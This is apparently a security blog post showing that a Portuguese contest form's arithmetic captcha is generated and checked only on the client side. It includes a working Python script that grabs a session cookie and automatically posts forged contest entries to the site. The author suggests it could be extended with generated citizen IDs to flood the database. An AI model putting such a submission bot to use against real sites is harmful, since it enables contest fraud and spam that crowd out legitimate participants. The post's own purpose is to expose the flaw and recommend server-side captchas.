Client-side anti-bot mechanism #exerciseinfutility

Hello paranoids

Today, i bring a laughable case of input verification and anti-bot measures. Let us get straight to the point, shall we?

When checking an online contest , i stumbled across this (the form is from a Portuguese website and was on Portuguese as well):

Context form

Contest form

BI is an 8-digits string representing unequivocally a citizen (citizen ID of sorts). I marked the “8+9” operation with the mouse. I am pretty sure you can tell what is coming next:

80's captcha

80’s captcha

At first, this seemed like a pretty old school captcha. This raises two questions:

  1. Is the validation client-side?
  2. Is the value hardcoded on the served page?

Well, a hardcoded should mean a server-side verification but we never know. Once i digged on the source scripts, i found this:

bot2bootinput

Client-side verification scripts.

For those wondering which are the required fields, they are: name, email, BI, phone and place. As you can see only email and “hipster captcha” are checked. The others are checked for emptiness at most. Other fields sent are hidden and easily retrievable with a basic script. As for cookies, you get an ASP.NET_SessionId through the Set-Cookie header and other cookies which i assume to be related to statistics (e.g. __gads).

Now, the saddest part here for both attackers and for application owners is that the form seems to succeed always: with or without cookies, with or without mail. To make things worse, the end-user gets no confirmation email which means i cannot tell if my participation was accepted or nor (if my attack succeeded or not). I may be wrong but i assume once the form is submitted, any errors from the database are ignored and the end-user receives an accepted response. The other explanation is that the database fields are all strings and thus, there is no type checking (AHH HELL NA!). Still, all this data suffices to create an automated script. In order to make an automated tool more user-alike, i will retrieve the session cookie.

This python script should do the trick:

import http.client as httpc
import urllib.parse as urlparse

#Http
host = 'cannot_tell_you_the_host'
path='/destaques/body_passatempos.aspx?id=6910'
headers={'Host':'host,'User-Agent':'Mozilla/5.0 (X11; Linux i686; rv:41.0) Gecko/20100101 Firefox/41.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Encoding':'gzip, deflate','Connection':'keep-alive'}

#Form fields - should use DOM but i am lazy
formID='2396'
cookID='DESTAQUEFORM2396'
recipient=urlparse.quote_plus('passatemposcidade@host')
redirect=''
subject=urlparse.quote_plus('Bilhetes O último caçador de bruxas')
participation=0
contest_id=2396
name=urlparse.quote_plus('John doe')
name_sort='nome'
name_required=name_sort
mail=urlparse.quote_plus('jd@yahoo.com')
mail_sort='mail'
mail_required=mail_sort
bi=1234
bi_sort='bi'
bi_required=bi_sort
phone=1234
phone_sort='telefone'
phone_required=phone_sort
place=urlparse.quote_plus('Cinemas NOS COLOMBO (Lisboa)')
place_question=urlparse.quote_plus('Onde queres ver o filme?')
place_sort='r5'
place_required=place_sort

bot_warmup_connection = httpc.HTTPConnection(host,80)

bot_warmup_connection.request("GET",path,'',headers)
first_get_response = bot_warmup_connection.getresponse()
print(first_get_response.getheaders())

participation_body_temp='formID={0}&cookID={1}&recipient={2}&redirect={3}&subject={4}&participation={5}&passatempo_id={6}&nome={7}&sort={8}&required={9}&mail={10}&sort={11}&required={12}&bi={13}&sort={14}&required={15}&telefone={16}&sort={17}&required={18}&r5={19}&p5={20}&sort={21}&required={22}'

participation_body=participation_body_temp.format(formID,cookID,recipient,redirect,subject,participation,contest_id,name,name_sort,name_required,mail,mail_sort,mail_required,bi,bi_sort,bi_required,phone,phone_sort,phone_required,place,place_question,place_sort,place_required)

print(participation_body)
headers['Cookie'] = first_get_response.getheader('Set-Cookie').split(';')[0]

submit_path='/sendMail.asp'

bot_submit_connection = httpc.HTTPConnection(host,80)
bot_submit_connection.request("POST",submit_path,participation_body,headers)
submit_response = bot_submit_connection.getresponse()
response_body = submit_response.read()

if submit_response.status == 200:
	print("OK!")

This script suffers from some issues and limitations since the website does not give appropriate feedback on the success of the submission (e.g. mail, http error code,server side response), leaving the bot and even a non-malicious user clueless (it is an example of bad security and programming…oh well..). Adding automated generation of BIs and emails and you have enough juice to fill their entire database (or their .txt file, i can’t even tell anymore).

The saddest part there is that i have notified the website owners previously (this is not the first time they use such poor security mechanism) of this page and got no response and no changes. People tend to program oriented to the “just works!/simplicity over security” paradigm leaving security aside until they suffer the consequences of their poor decisions. What i have just presented here is not alarming (it is not a data breach of some sort). Yet, it is enough to fill their databases with garbage, leaving other legitimate contest participants out.

You think you so smart. What would you do?

Well, i am glad you asked. First, the captcha should be an image (it is tough or close to impossible to get characters from a properly made captcha) and second, it should be generated and verified by the server. What is the point in having the client generate and verify something to protect the application from malicious clients? There are plenty of libraries to create captchas for php, asp, etc. Since i do not know which ones are safer, i will not name any (hacked readers are unsatisfied readers :P).

Stay safe 😉

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s